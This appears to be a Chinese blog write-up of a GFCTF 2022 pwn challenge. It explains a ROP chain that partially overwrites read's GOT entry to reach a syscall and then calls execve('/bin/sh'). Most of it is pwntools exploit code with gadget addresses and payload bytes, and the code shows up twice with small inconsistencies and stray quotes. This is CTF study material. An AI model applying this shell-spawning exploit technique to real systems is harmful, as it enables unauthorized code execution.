R()P
⾼版本上GCC编译的程序,没有csu这种好⽤的gadget可以⽤
由于是优化过的编译,没有rbp链,⻓度参数通过rsp取得,地址通过rax取得
这就给了我们直接控制read的可能,可以直接达成任意写
我们可以爆破修改read函数的低位,把read函数改到它相邻的syscall去(libc.so中)
假设我们需要execve("/bin/sh",rsi,rdx),需要控制四个寄存器的值,分别是rax=59,rdi->"/bin/sh",rsi=0|rsi->0,rdx->0|rdx=0,再调⽤read函数
rsi:0x401141
rsi也⽐较好控制,我们看第⼀个read的调⽤⾥
这样我们只要最后⼀个处理rsi,那么rsi就可以很容易的被来⾃栈上的值设置
edx:0x40115d
没有找到可以直接控制rdx的办法,但是我们看第⼆次read调⽤中对于rdx的设置是
由于最后⼀次read要改写read的got表,rdx不能为0,所以最后⼀次read时把rdx设置为指向0的值,之后不去改它就⾏了
eax:0x40116d
⾸先,rax很好控制,可以直接被栈上的值控制
edi:0x401099
没有找到能直接从栈控制rdi的办法,但是梳理⼀下语句,可以发现在register_tm_clones函数中,有对于_ITM_registerTMCloneTable的调⽤,其调⽤⽅式为
这是程序⾥为数不多的修改了rdi的地⽅,⽽正好修改的值是bss_start,即0x404018,是⼀个可读写的内存,
其下⼀个条语句为jmp rax,rax是我们可控的,那么只需要控制rax指向ret,就可以继续ROP了
先进⾏⼀次栈溢出,控制程序流,开始ROP,
⾸先控制rax为bss_start,接着使⽤ rax为read的buf,读⼊/bin/sh,
同时将rax置为read的got表,再⽤rax为read的buf,爆破syscall,
同时置rdx指向 NULL,
接着控制rax为⼀个ret指令的地址,
调⽤
mov edi, offset __bss_start ; jmp rax
设置rdi,再将rax置 为59,将rsi置为0,再次调⽤read函数
bss = 0x404018
read_plt=elf.plt["read"]
read_got=elf.got["read"]
main_addr = 0x401126
rsi = 0x401141
rdx = 0x40115d
rax = 0x40116d
rdi = 0x401099
ret = 0x000000000040101a
read_buf = 0x401155
read_rax = 0x40115A
p.send(p32(0x100))
1.栈溢出+控制rax为bss_start
p64(0)用于lea rax, [rsp+18h+var_10]
将0写入rsp,否则0x4040180000000将会进入rsp
因为是32位寄存器,所以这里的p32(0)+p32(bss)是为了使bss地址在高位,变成0x4040180000000
使能够mov edx, dword ptr [rsp + 0xc]
,将我们想要的值赋给edx
pl = b"A"*0x10+p64(rax)+p64(0)+p32(0)+p32(bss)+p64(0)
控制rax为bss_start,控制为bss_start的原因一是bss段可写、二是我们需要利用bss_start处来修改edi
pl += p64(read_rax)+p64(0)+p32(0)+p32(read_got)+p64(0)
接着使⽤ rax为read的buf,读⼊/bin/sh
pause()
p.send(b"\x90")
将rax置为read的got表
⽤rax为read的buf,改syscall
pl += p64(read_rax)+p64(0)+p32(0)+p32(bss+8)+p64(0)
我们先是查看到read_got往下0x10大小就是syscall
pause()
p.send(b"\x90")
pl += p64(rax)+p64(0)+p32(0)+p32(ret)+p64(0) #rax -> ret
同时置rdx指向 NULL
rax是我们可控的,控制rax指向ret,就可以继续ROP
pl += p64(rdi) #"/bin/sh" > rdi
#mov edi, offset _bss_start
#jmp rax
使rax=59、rsi=0
pl += p64(rax)+p64(0)+p32(0)+p32(0x3b)+p64(0) #rax=59
pl += p64(rsi)+p64(0)+p32(0)+p32(0)+p64(0) #rsi=0
本机就出了
远程也差不多,但需要爆破syscall
print(hex(libc.sym["read"]))
bss = 0x404018
read_plt=elf.plt["read"]
read_got=elf.got["read"]
main_addr = 0x401126
rsi = 0x401141
rdx = 0x40115d
rax = 0x40116d
rdi = 0x401099
ret = 0x000000000040101a
read_buf = 0x401155
read_rax = 0x40115A
p.send(p32(0x100))
pl = b"A"*0x10+p64(rax)+p64(0)+p32(0)+p32(bss)+p64(0)
pl += p64(read_rax)+p64(0)+p32(0)+p32(read_got)+p64(0) #/bin/sh > bss
pl += p64(read_rax)+p64(0)+p32(0)+p32(bss-8)+p64(0) #read_got -> syscall
pl += p64(rax)+p64(0)+p32(0)+p32(ret)+p64(0) #rax -> ret
pl += p64(rdi) #"/bin/sh" > rdi
#mov edi, offset _bss_start
#jmp rax
pl += p64(rax)+p64(0)+p32(0)+p32(0x3b)+p64(0) #rax=59
pl += p64(rsi)+p64(0)+p32(0)+p32(0)+p64(0) #rsi=0
'''
'''
#dbg()
p.send(pl)
pause()
p.send(b"/bin/sh")
pause()
#p.send(b"\x90")
p.send(b"\x0f")
itr()
标签:p64,read,GFCTF,bss,p32,pl,2022,pwn,rax
From: https://www.cnblogs.com/shuzM/p/16872498.html